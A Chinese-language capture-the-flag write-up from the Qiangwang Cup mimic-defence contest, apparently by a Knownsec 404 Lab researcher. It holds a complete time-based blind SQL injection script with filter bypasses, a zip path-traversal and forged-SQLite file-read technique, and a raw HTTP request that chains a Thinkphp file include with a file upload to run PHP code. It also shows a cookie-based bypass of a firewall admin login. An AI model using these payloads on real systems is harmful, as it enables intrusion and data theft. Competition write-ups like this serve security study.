作者:LoRexxar'@知道創宇404實驗室

上周有幸去南京參加了強網杯擬態挑戰賽,運氣比較好拿了第二名,只是可惜是最后8分鐘被爆了,差一點兒真是有點兒可惜。

有關于擬態的觀念我會在后面講防火墻黑盒攻擊的 writeup 時再詳細寫,拋開擬態不談,賽寧這次引入的比賽模式我覺得還蠻有趣的,白盒排位賽的排名決定你是不是能挑戰白盒擬態,這樣的多線并行挑戰考驗的除了你的實際水平,也給比賽本身平添了一些有趣的色彩(雖然我們是被這個設定坑了),雖然我還沒想到這種模式如何應用在普通的ctf賽場上,但起碼也是一個有趣的思路不是嗎。

Web 白盒

sqlcms

這題其實相對比賽中的其他題目來說,就顯得有些太簡單了,當時如果不是因為我們是第一輪挑戰白盒的隊伍,浪費了 30 分鐘時間,否則搶個前三血應該是沒啥問題。

簡單測試就發現,過濾了以下符號

,
and &
| or
for
sub
%
^
~

此外還有一些字符串的過濾

hex、substring、union select

還有一些躺槍的(因為有or)

information_schema

總結起來就是,未知表名、不能使用逗號、不能截斷的時間盲注。其實實際技巧沒什么新意,已經是玩剩下的東西了,具體直接看 exp 吧

# coding=utf-8

import requests
import random
import hashlib
import time

s = requests.Session()
url='http://10.66.20.180:3002/article.php'
tables_count_num = 0
strings = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@!#$%*().<>1234567890{}"


def get_content(url):

    for i in xrange(50):
            # payload = "1 and ((SELECT length(user) from admin limit 1)="+str(i)+") and (sleep(2))"
            # payload = "(select case when ((SELECT length(t.2) from (select 1,2,3,4 union select * from flag) limit "+str(j)+") >"+str(i)+") then 0 else sleep(2) end)"
            payload = "(select case when ((SELECT length(t.4) from (select * from((select 1)a join(select 2)b join (select 3)c join (select 4)d) union/**/select * from flag) as t limit 1 offset 1) ="+str(i)+") then sleep(2) else 0 end)"


            if get_data(payload):
                print "[*] content_length: "+str(i)
                content_length = i
                break

    content = ""

    tmp_content = ""    


    for i in range(1,content_length+1):
        for k in strings:
            tmp_content = content+str(k)
            tmp_content = tmp_content.ljust(content_length,'_')

            # payload = "1 and (SELECT ascii(mid(((SELECT user from admin limit 1))from("+str(i)+")))="+str(k+1)+") and (sleep(2))"
            payload = "(select case when ((SELECT t.4 from (select * from((select 1)a join(select 2)b join (select 3)c join (select 4)d) union/**/select * from flag) as t limit 1 offset 1) like '"+tmp_content+"') then sleep(2) else 0 end)"


            # print payload
            if get_data(payload):
                content += k
                print "[*] content: "+content
                break

    print "[*] content: " + content


def get_response(payload):

    s = requests.Session()
    username = "teststeststests1234\\"

    s.post()

def get_data(payload):

    u = url+'?id='+payload
    print u
    otime = time.time()
    # print u.replace(' ','%20')

    r = s.get(u)
    rr = r.text
    ptime = time.time()

    if ptime-otime >2:
        return True
    else:
        return False


get_content(url)

ezweb

這題覺得非常有意思,我喜歡這個出題思路,下面我們來一起整理下整個題目的思路。

首先是打開頁面就是簡單粗暴的登錄,用戶名只把.換成了_,然后就直接存入了 session 中。

當我們在用戶名中插入/的時候,我們就會發現爆了無法打開文件的錯誤,/被識別為路徑分割,然后 sqlite 又沒有太高的權限去創建文件夾,所以就報錯了,于是我們就得到了。

如果用戶名被直接拼接到了數據庫名字中,將.轉化為_

./dbs/mimic_{username}.db

直接訪問相應的路徑,就可以下載到自己的 db 文件,直接本地打開就可以看到其中的數據。

image.png-103.9kB

數據庫里很明顯由 filename 做主鍵,后面的數據是序列化之后的字符串,主要有兩個點,一個是 file_type ,這代表文件上傳之后,服務端會檢查文件的類型,然后做相應的操作,其次還會保存相應的文件路徑。

拋開這邊的數據庫以后,我們再從黑盒這邊繼續分析。

當你上傳文件的時候,文件名是 md5(全文件名)+最后一個.后的后綴拼接。

對于后綴的檢查,如果點后為 ph 跟任何字符都會轉為 mimic 。

多傳幾次可以發現,后端的 file_type 是由前端上傳時設置的 content-type 決定的,但后端類型只有4種,其中 text 會直接展現文件內容, image 會把文件路徑傳入 img 標簽展示出來,zip 會展示壓縮包里的內容,other 只會展示文件信息。

 switch ($type){
        case 'text/php':
        case 'text/x-php':
            $this->status = 'failed';break;
        case 'text/plain':
            $this->info = @serialize($info);break;
        case 'image/png':
        case 'image/gif':
        case 'image/jpeg':
            $info['file_type'] = 'image';
            $this->info = @serialize($info);break;
        case 'application/zip':
            $info['file_type'] = 'zip';
            $info['file_list'] = $this->handle_ziparchive();
            $this->info = @serialize($info);
            $this->flag = false;break;
        default:
            $info['file_type'] = 'other';
            $this->info = @serialize($info);break;
            break;
    }

其中最特別的就是 zip ,簡單測試可以發現,不但會展示 zip 的內容,還會在uploads/{md5(filename)}中解壓 zip 中的內容。

測試發現,服務端限制了軟連接,但是卻允許跨目錄,我們可以在壓縮包中加入../../a,這個文件就會被解壓到根目錄,但可惜文件后綴仍然收到之前對 ph 的過濾,我們沒辦法寫入任何 php 文件。

private function handle_ziparchive() {
    try{
        $file_list = array();
        $zip = new PclZip($this->file);
        $save_dir = './uploads/' . substr($this->filename, 0, strlen($this->filename) - 4);
        @mkdir($save_dir, 755);
        $res = $zip->extract(PCLZIP_OPT_PATH, $save_dir, PCLZIP_OPT_EXTRACT_DIR_RESTRICTION, '/var/www/html' , PCLZIP_OPT_BY_PREG,'/^(?!(.*)\.ph(.*)).*$/is');
        foreach ($res as $k => $v) {
            $file_list[$k] = array(
                'name' => $v['stored_filename'],
                'size' => $this->get_size($v['size'])
            );
        }
        return $file_list;
    }
    catch (Exception $ex) {
        print_r($ex);
        $this->status = 'failed';
    }
}

按照常規思路來說,我們一般會選擇上傳.htaccess.user.ini,但很神奇的是,.htaccess因為 apache 有設置無法訪問,不知道是不是寫進去了。.user.ini成功寫入了。但是兩種方式都沒生效。

于是只能思考別的利用方式,這時候我們會想到數據被儲存在sqlite中。

如果我們可以把 sqlite 文件中數據修改,然后將文件上傳到服務端,我們不就能實現任意文件讀取嗎。

image.png-142.6kB

這里我直接讀了 flag ,正常操作應該是要先讀代碼,然后反序列化 getshell

public function __destruct() {
    if($this->flag){
        file_put_contents('./uploads/' . $this->filename , file_get_contents($this->file));
    }
    $this->conn->insert($this->filename, $this->info);
    echo json_encode(array('status' => $this->status));
}

最后拿到 flag

擬態防火墻

兩次參加擬態比賽,再加上簡單了解過擬態的原理,我大概可以還原目前擬態防御的原理,也逐漸佐證擬態防御的缺陷。

下面是我在攻擊擬態防火墻時,探測到的后端結構,大概是這樣的(不保證完全準確):

image.png-33.8kB

其中 Web 服務的執行體中,有 3 種服務端,分別為 nginx、apache 和 lighttpd 這3 種。

Web 的執行體非常簡陋,其形態更像是負載均衡的感覺,不知道是不是裁決機中規則沒設置還是 Web 的裁決本身就有問題。

而防火墻的執行體就更詭異了,據現場反饋說,防火墻的執行體是開了2個,因為反饋不一致,所以返回到裁決機的時候會導致互判錯誤...這種反饋尤其讓我疑惑,這里的問題我在下面實際的漏洞中繼續解釋。

配合防火墻的漏洞,我們下面逐漸佐證和分析擬態的缺點。

我首先把攻擊的過程分為兩個部分,1是拿到 Web 服務執行體的 webshell,2是觸發修改訪問控制權限(比賽中攻擊得分的要求)。

GetShell

首先我不得不說真的是運氣站在了我這頭,第一界強網杯擬態挑戰賽舉辦的時候我也參加了比賽,當時的比賽規則沒這么復雜,其中有兩道擬態 Web 題目,其中一道沒被攻破的就是今年的原題,擬態防火墻,使用的也是天融信的 Web 管理界面。

一年前雖然沒日下來,但是幸運的是,一年前和一年后的攻擊得分目標不一致,再加上去年賽后我本身也研究過,導致今年看到這個題的時候,開局我就走在了前面。具體可以看下面這篇 wp 。

https://mp.weixin.qq.com/s/cfEqcb8YX8EuidFlqgSHqg

由于去年我研究的時候已經是賽后了,所以我并沒有實際測試過,時至今日,我也不能肯定今年和去年是不是同一份代碼。不過這不影響我們可以簡單了解架構。

https://github.com/YSheldon/ThinkPHP3.0.2_NGTP

然后仔細閱讀代碼,代碼結構為 Thinkphp3.2 架構,其中部分代碼和遠端不一致,所以只能嘗試攻擊。

在3.2中,Thinkphp 有一些危險函數操作,比如 display,display 可以直接將文件include 進來,如果函數參數可控,我們又能上傳文件,那么我們就可以 getshell。

全局審計代碼之后我們發現在/application/home/Controller/CommonControler.class.php

image.png-289.1kB

如果我們能讓 type 返回為 html ,就可以控制 display 函數。

搜索 type 可得$this->getAcceptType();

 $type = array(
            'json'  =>  'application/json,text/x-json,application/jsonrequest,text/json',
            'xml'   =>  'application/xml,text/xml,application/x-xml',
            'html'  =>  'text/html,application/xhtml+xml,*/*',
            'js'    =>  'text/javascript,application/javascript,application/x-javascript',
            'css'   =>  'text/css',
            'rss'   =>  'application/rss+xml',
            'yaml'  =>  'application/x-yaml,text/yaml',
            'atom'  =>  'application/atom+xml',
            'pdf'   =>  'application/pdf',
            'text'  =>  'text/plain',
            'png'   =>  'image/png',
            'jpg'   =>  'image/jpg,image/jpeg,image/pjpeg',
            'gif'   =>  'image/gif',
            'csv'   =>  'text/csv'
        );

只要將請求頭中的 accept 設置好就可以了。

然后我們需要找一個文件上傳,在UserController.class.php moduleImport函數里

    } else {
           $config['param']['filename']=$_FILES["file"]["name"];
            $newfilename="./tmp/".$_FILES["file"]["name"];
            if($_POST['hid_import_file_type']) $config['param']['file-format'] = formatpost($_POST['hid_import_file_type']);
            if($_POST['hid_import_loc']!='') $config['param']['group'] = formatpost($_POST['hid_import_loc']);
            if($_POST['hid_import_more_user']) $config['param']['type'] = formatpost($_POST['hid_import_more_user']);
            if($_POST['hid_import_login_addr']!='')$config['param']['address-name'] = formatpost($_POST['hid_import_login_addr']);
            if($_POST['hid_import_login_time']!='') $config['param']['timer-name'] = formatpost($_POST['hid_import_login_time']);
            if($_POST['hid_import_login_area']!='') $config['param']['area-name'] = formatpost($_POST['hid_import_login_area']);
            if($_POST['hid_import_cognominal']) $config['param']['cognominal'] = formatpost($_POST['hid_import_cognominal']);
            //判斷當前文件存儲路徑中是否含有非法字符
            if(preg_match('/\.\./',$newfilename)){
                exit('上傳文件中不能存在".."等字符');
            }
            var_dump($newfilename);
            if(move_uploaded_file($_FILES["file"]["tmp_name"],$newfilename)) {
                echo sendRequestSingle($config);
            } else
                $this->display('Default/auth_user_manage');
        }
     }

這里的上傳只能傳到/tmp目錄下,而且不可以跨目錄,所以我們直接傳文件上去。

緊接著然后使用之前的文件包含直接包含該文件

GET /?c=Auth/User&a=index&assign=0&w=../../../../../../../../tmp/index1&ddog=var_dump(scandir('/usr/local/apache2/htdocs')); HTTP/1.1
Host: 172.29.118.2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=spk6s3apvh5c54tj9ch052fp53; think_language=zh-CN
Upgrade-Insecure-Requests: 1

上傳文件的時候要注意 seesion 和 token ,token 可以從首頁登陸頁面獲得。

至此我們成功獲得了 webshell 。這里拿到 webshell 之后就會進入一段神奇的發現。

首先,服務端除了/usr以外沒有任何的目錄,其中/usr/中除了3個服務端,也沒有任何多余的東西。換言之就是沒有/bin,也就是說并沒有一個linux的基本環境,這里我把他理解為執行體,在他的外層還有別的代碼來聯通別的執行體。

由于沒有/bin,導致服務端不能執行system函數,這大大影響了我的攻擊效率,這可能也是我被反超的一個原因...

繼續使用php eval shell,我們發現后端3個執行體分別為nginx\apache\lighthttpd,實際上來說都是在同一個文件夾下

/usr/local/apache2/htdocs
/usr/local/nginx/htdocs
/usr/local/lighttpd/htdocs

由于 Web 的服務器可以隨便攻擊,有趣的是,在未知情況下,服務端會被重置,但神奇的是,一次一般只會重置3個服務端的一部分,這里也沒有擬態裁決的判定,只要單純的刷新就可以進入不同的后端,其感覺就好像是負載均衡一樣。

這樣我不禁懷疑起服務端的完成方式,大概像裁決機是被設定拼接在某個部分之前的,其裁決的內容也有所設定,到這里我們暫時把服務端架構更換。

image.png-31.9kB

閱讀服務端代碼

在拿到 shell 之后,主辦方強調 Web 服務和題目無關,需要修改后端的訪問控制權限,由于本地的代碼和遠程差異太大,所以首先要拿到遠端的代碼。

/conf/menu.php中可以獲得相應功能的路由表。

...
'policy' => array(
    'text' => L('SECURE_POLICY'),
    'childs' => array(
        //訪問控制
        'firewall' => array(
            'text' => L('ACCESS_CONTROL'),
            'url' => '?c=Policy/Interview&a=control_show',
            'img' => '28',
            'childs' => ''
        ),
        //地址轉換
        'nat' => array(
            'text' => L('NAT'),
            'url' => '',
            'img' => '2',
            'childs' => array(
                'nat' => array(
                    'text' => 'NAT',
                    'url' => '?c=Policy/Nat&a=nat_show'
                ),

其中設置防火墻訪問控制權限的路由為?c=Policy/Interview&a=control_show',

然后直接讀遠端的代碼/Controller/Policy/interviewController.class.php

其操作相關為

//添加策略
public function interviewAdd() {
    if (getPrivilege("firewall") == 1) {
        if($_POST['action1']!='')  $param['action'] = formatpost($_POST['action1']);
        if($_POST['enable']!='')  $param['enable'] = formatpost($_POST['enable']);
        if($_POST['log1']!='')  $param['log'] = formatpost($_POST['log1']);
        if($_POST['srcarea']!='')  $param['srcarea'] = '\''.formatpost($_POST['srcarea'],false).'\'';
        if($_POST['dstarea']!='')  $param['dstarea'] = '\''.formatpost($_POST['dstarea'],false).'\'';
        /*域名*/

直接訪問這個路由發現權限不夠,跟入getPrivilege

/**
 * 獲取權限模板,$module是否有權限
 * @param string $module
 * @return int 1:有讀寫權限,2:讀權限,0:沒權限
 */
function getPrivilege($module) {
    if (!checkLogined()) {
        header('location:' . $_COOKIE['urlorg']);
    }
    return ngtos_ipc_privilege(NGTOS_MNGT_CFGD_PORT, M_TYPE_WEBUI, REQ_TYPE_AUTH, AUTH_ID, NGTOS_MNGT_IPC_NOWAIT, $module);
}

一直跟到 checklogin

校驗url合法性,是否真實登錄
function checkLogined() {
    //獲得cookie中的key
    $key = $_COOKIE['loginkey'];
//        debugFile($key);
    //獲得url請求中的authid
//    $authid = $_GET['authid'];
//        debugFile($authid);
    //檢查session中是否存在改authid和key
    if (!empty($key) && $key == $_SESSION['auth_id'][AUTH_ID]) {
        return true;
    } else {
        return false;
    }
}

/*

發現對 cookie 中的 loginkey 操作直接對比了 auth_id ,id 值直接盲猜為1,于是繞過權限控制

添加相應的 cookie ,就可以直接操作訪問控制頁面的所有操作,但是后端有擬態防御,所以訪問 500.

至此,我無意中觸發了擬態擾動...這完全是在我心理預期之外的觸發,在我的理解中,我以為是我的參數配置錯誤,或者是這個 api 還需要添加策略組,然后再修改。由于我無法肯定問題出在了哪,所以我一直試圖想要看到這個策略修改頁面,并正在為之努力。(我認為我應該是在正常的操作功能,不會觸發擬態擾動...)

ps:這里膜@zsx和@超威藍貓,因為我無法加載 jquery ,所以我看不到那個修改配置的頁面是什么樣的,但 ROIS 直接用 js 獲取頁面內容渲染...

在仔細分析擬態的原理之后,我覺得如果這個功能可以被正常修改(在不被擬態攔截的情況下),那么我們就肯定觸發了所有的執行體(不可能只影響其中一臺)。

那么我們反向思考過來,既然無法修改,就說明這個配置在裁決機背設置為白名單了,一旦修改就會直接攔截并返回 500!

所以我們當時重新思考了擬態防火墻的結構...我們發現,因為Web服務作為防火墻的管理端,在防火墻的配置中,至少應該有裁決機的 ip ,搞不好可以直接獲取防火墻的 ip 。

image.png-45.3kB

這時候如果我們直接向后端ip構造socket請求,那么我們就能造成一次降維打擊

只是可惜,因為沒有 system shell ,再加上不知道為什么蟻劍和菜刀有問題,我們只能花時間一個一個文件去翻,結果就是花了大量的時間還沒找到(遠程的那份代碼和我本地差異太大了),賽后想來,如果當場寫一個腳本說不定就保住第一了2333

關于擬態

在幾次和擬態防御的較量中,擬態防御現在的形態模式也逐漸清晰了起來,從最開始的測信道攻擊、ddos攻擊無法防御,以及關鍵的業務落地代價太大問題。逐漸到業務邏輯漏洞的防御缺陷。

擬態防御本身的問題越來越清晰起來,其最關鍵的業務落地代價太大問題,在現在的擬態防御中,逐漸使用放棄一些安全壓力的方式來緩解,現在的擬態防御更針對傾向于組件級安全問題的防御。假設在部分高防需求場景下,擬態作為安全生態的一環,如果可以通過配置的方式,將擬態與傳統的Waf、防火墻的手段相結合,不得不承認,在一定程度上,擬態的確放大了安全防御中的一部分短板。擬態防御的后續發展怎么走,還是挺令人期待的。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/932/